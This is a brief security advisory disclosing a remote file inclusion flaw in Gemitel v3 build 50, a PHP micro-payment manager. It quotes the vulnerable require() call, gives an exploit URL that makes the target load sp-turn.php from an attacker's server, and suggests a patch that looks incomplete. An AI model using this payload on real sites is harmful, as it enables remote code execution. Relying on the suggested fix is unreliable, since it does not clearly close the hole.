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GEMITEL V 3 build 50  :: include vulnerability



URL : https://www.isesam.com/
FORUM : https://www.isesam.com/forums/gemitel/thread_open.shtml
Vendor has been contacted.





Description :
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Gemitel is a free software written in php that allows to manage micro payments like allopass, mediapaiement, optelo-Sponsup or Rentabiliweb.




Vulnerability :
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File :  html/affich.php

Code:
*****************************************************************************

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

*******************************************************************************

You can include sp-turn.php from where you want by specifying the variable $base.


Exploit :
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https://[vulnerable host]/[Gemitel folder]/html/affich.php?base=https://[your server]/

In [your server] you must have a sp-turn.php file which will be included by vulnerable host.



Solution:
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Replace :

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
require("$f_inc");
//require("sp-turn.php");

By

$f_inc=$base."sp-turn.php";
$plus = "../";               // rajoute au chemin pour trouver les fichiers .txt
if(file_exists($f_inc)){require("$f_inc");}
//require("sp-turn.php");